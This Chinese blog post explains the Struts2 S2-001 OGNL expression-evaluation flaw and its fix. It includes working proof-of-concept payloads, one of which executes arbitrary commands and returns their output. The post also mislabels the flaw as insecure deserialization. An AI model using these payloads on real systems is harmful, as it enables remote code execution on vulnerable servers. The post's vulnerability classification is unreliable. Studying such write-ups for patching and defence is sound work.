我是靠谱客的博主 活泼犀牛,最近开发中收集的这篇文章主要介绍struts2之s2-001,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

 S2-001
影响版本:Struts 2.0.0 - Struts 2.0.8

漏洞分析:
1、 密码框可以执行代码(OGNL表达式)若输入%{1+2}会因为错误报告内容得出结果3,因此存在远程执行的漏洞,属于owasp top 10中的不安全的反序列化漏洞
2、 在输入内容时,因为代码中的递归解析表达式(源码是while表达式),在执行完%{password}后,会继续执行password内容,因此可以进行远程命令执行
3、 解决方法是,改变代码表达式的表达方法,使之不会产生递归解析即可。也就是将struts2的默认altsyntax功能进行关闭使用其他方式进行递归化的查询,就不会递归解析恶意代码了。
4、 Poc(查看Tomcat的安装路径)
%{“tomcatBinDir{“+@java.lang.System@getProperty(“user.dir”)+”}”}
(执行命令)

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),  
// 也可以是其他命令
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
```(本文只是本人记录所用,若有错误,望各位大佬指正)

最后

以上就是活泼犀牛为你收集整理的struts2之s2-001的全部内容,希望文章能够帮你解决struts2之s2-001所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(58)

评论列表共有 0 条评论

立即
投稿
返回
顶部